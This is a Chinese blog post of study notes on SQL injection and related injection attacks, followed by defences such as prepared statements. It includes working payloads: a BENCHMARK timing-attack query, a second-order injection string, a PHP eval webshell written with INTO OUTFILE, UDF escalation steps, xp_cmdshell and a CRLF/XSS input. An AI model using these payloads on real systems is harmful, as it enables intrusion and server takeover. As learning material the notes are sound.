• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

sql注入

2020-06-16

1. 盲注

所谓“盲注”,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。

  • and 1=1 and 1=2看两次页面是否一样

1.1. Timing Attack

利用BENCHMARK()函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack

  • benchmark(count,expr)
    • 讲expr执行count次
1
UNION SELECT IF (SUBSTRING(current,1,1) = CHAR(97),BENCHMARK(5000000, md5( 'test' )),null) FROM (SELECT DATABASE() as current) as tbl;
  • DATABASE()读取当前数据库名,SUBSTRING()下标1长1子串,benchmark重复次数5000000
  • union是为了和之前的select拼接

2. sql二次注入

二次注入可以理解成,攻击者先将攻击语句插入到数据库中,然后再调用攻击语句,完成攻击。

mysql_real_escape_string将\转义,但经过mysql_escape_string转义的数据存入数据库后会被还原

  • admin'#
  • update users set passwd='new' where username='admin'#' and passwd='old'
    • 在SQL语句中 # 是注释符,#后面的语句会被注释掉

3. order by 注入

指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']

–
使用asc和desc关键词测试是否为order by 注入

4. 数据库攻击技巧

之前只是挖到漏洞,还没有真正注入

  • and sbustring(@@version,1,1)=4
  • 利用union select来分别确认表名admin是否存在
  • 除了可以使用INTO DUMPFILE外,还可以使用INTO OUTFILE.两者的区别是,DUMPFILE适用于二进制文件,它会将目标文件写入同一行内;而OUTFILE则更适用于文本文件
  • 写入文件的技巧,经常被用于导出一个Webshell

    webshell是网站入侵的脚本攻击工具

    黑客通过入侵网站上传webshell后获得服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页

1
2
3
4
5
6
7
mysql> select @@version;
+------------------+
| @@version |
+------------------+
| 5.7.18-debug-log |
+------------------+
1 row in set (34.23 sec)

4.1. UDF

可以利用“用户自定义函数”的技巧,即UDF (User-Defined Functions)来执行命令


​ udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。

udf 文件后缀一般为 dll,由C、C++编写

4.2. webshell(后门壳层)

WebShell攻击的方式是这样的:

1.通过网站提供的上传入口,比如是上传图片的入口,上传时上传后缀为jps的图片

2.通过抓包工具抓包,修改上传的后缀为 .jsp或.php等,将实际内容更改为木马代码(比如创建一个用户赋予root权限)

3.上传成功后其实就成功了,可以通过创建的用户登录到你的服务器


当知道路径时,可以直接用:

1
?id=1 union select "<?php @eval($_POST【‘’】);?>" into outfile "C:/phpStudy/WWW/a.php"`

The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

我cmn微软写个md包含安全风险代码直接自动把我整个文件删了是吧?

4.2.1. 利用过程

  • 查看版本
    • select version();
  • 获取Mysql安装路径
    • select @@basedir;
  • 查看用户权限
    • select * from mysql.user where user='root' and host='127.0.0.1' \G;
  • 查看可操作路径
    • show global variables like '%secure%';
      • secure_file_priv值为null,表示mysql不允许导入导出
  • 上传DLL并利用

4.3. 攻击存储过程

存储过程为数据库提供了强大的功能,它与UDF很像,但存储过程必须使用CALL或者EXECUTE来执行

  • EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

4.4. 编码问题

比如,当MySQL使用了GBK编码时,Oxbf27和OxbfSc都会被认为是一个字符(双字节字符)

原本会存在的转义符号“\’’,在数据库中就被“吃掉“了

  • 最好统一设置(成utf-8)

4.5. SQL Column Truncation(sql约束攻击)

在MySQL的配置选项中,有一个sql_mode选项。当MySQL的sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时,MySQL对于用户插入的超长值只会提示warning,而不是error(如果是error则插入不成功),这可能会导致发生一些“截断”问题。

  • strict模式下则直接error

可以借此插入同名数据

  • 如果只是通过用户名来进行授权,则可能造成越权访问
1
2
3
4
5
6
7
8
9
10
11
12
mysql> insert into user_test(username, password) values("admin            x", "my_pass");
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from user_test;
+----+-----------------+----------+
| id | username | password |
+----+-----------------+----------+
| 1 | admin | pass |
| 2 | admin | pass |
| 3 | admin | my_pass |
+----+-----------------+----------+
3 rows in set (0.00 sec)

5. 防御SQL注入

  • mysql real_ escape_ string()还不够
    • 注入时不需要使用空格的例子
      • SELECT/**/passwd/**/from/**/user
      • SELECT(passwd)FROM(user)
    • 不需要括号、引号的例子
      • select passwd from users where user=Ox61646D696E
      • 其中Ox61646D696E是字符串admin的十六进制编码

5.1. 使用预编译语句

1
2
3
PREPARE stmt_name FROM preparable_stm

EXECUTE stmt_name [USING @var_name [, @var_name] ...]

预编译语句PreparedStatement 是java.sql中的一个接口,它是Statement的子接口。通过Statement对象执行SQL语句时,需要将SQL语句发送给DBMS,由DBMS首先进行编译后再执行。预编译语句和Statement不同,在创建PreparedStatement 对象时就指定了SQL语句,该语句立即发送给DBMS进行编译。当该编译语句被执行时,DBMS直接运行编译后的SQL语句,而不需要像其他SQL语句那样首先将其编译。预编译的SQL语句处理性能稍微高于普通的传递变量的办法


当运行时动态地把参数传给PreprareStatement时,即使参数里有敏感字符如 or ‘1=1’也数据库会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令,如此,就起到了SQL注入的作用了

1
2
3
String sql = “insert into t_customer values(?,?,?,?)”;//组织一条含有参数的SQL语句

PreparedStatement ps = conn.prepareStatement(sql)

5.2. 为什么参数化SQL查询可以防止SQL注入?

  • 为什么参数化SQL查询可以防止SQL注入? - 秦三行的回答 - 知乎

5.3. 使用存储过程

  • 使用安全的存储过程对抗SQL注入
  • 效果与使用预编译语句类似

5.4. 检查数据类型

1
settype($offset, 'integer')

5.5. 使用安全函数

  • OWASP ESAPI(OWASP Enterprise Security API)

    • a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications
  • 将用户的登录名、密码等数据加密保存

6. 其他注入攻击

6.1. xml注入

7. 代码注入

  • eval(;phpinfo())
  • 有时候代码注入可以造成命令注入(Command Injection),攻击者可以利用system()函数执行他想要的系统命令

8. CRLF 注入

  • carriage return 回车
  • line feed 换行
  • r\n这两个字符是用于表示换行的,其十六进制编码分别为OxOd, OxOa

CRLF注入并非仅能用于log注入,凡是使用CRLF作为分隔符的地方都可能存在这种注入,比如“注入HTTP头”

例如在set-cookie中插入两次换行符达到插入xss的效果:url?email=%Od%Oa%Od%Oa<script>


对抗CRLF的方法非常简单,只需要处理好“\r”, “\n”这两个保留字符即可,尤其是那些使用“换行符”作为分隔符的应用

9. 其他参考

  • Sql注入-Windows下利用udf提权 - reuodut - 博客园
  • 记一次防范webshell实战_chenjing928的博客-CSDN博客_linux 防webshell攻击
  • sql约束攻击(SQL Column Truncation)_lived的博客-CSDN博客_sql truncation attack
  • Security
  • Web Security
  • Note
跨站脚本攻击
简易教务系统的漏洞web开发
  1. 1. 1. 盲注
    1. 1.1. 1.1. Timing Attack
  2. 2. 2. sql二次注入
  3. 3. 3. order by 注入
  4. 4. 4. 数据库攻击技巧
    1. 4.1. 4.1. UDF
    2. 4.2. 4.2. webshell(后门壳层)
      1. 4.2.1. 4.2.1. 利用过程
    3. 4.3. 4.3. 攻击存储过程
    4. 4.4. 4.4. 编码问题
    5. 4.5. 4.5. SQL Column Truncation(sql约束攻击)
  5. 5. 5. 防御SQL注入
    1. 5.1. 5.1. 使用预编译语句
    2. 5.2. 5.2. 为什么参数化SQL查询可以防止SQL注入?
    3. 5.3. 5.3. 使用存储过程
    4. 5.4. 5.4. 检查数据类型
    5. 5.5. 5.5. 使用安全函数
  6. 6. 6. 其他注入攻击
    1. 6.1. 6.1. xml注入
  7. 7. 7. 代码注入
  8. 8. 8. CRLF 注入
  9. 9. 9. 其他参考
© 2024 何决云 载入天数...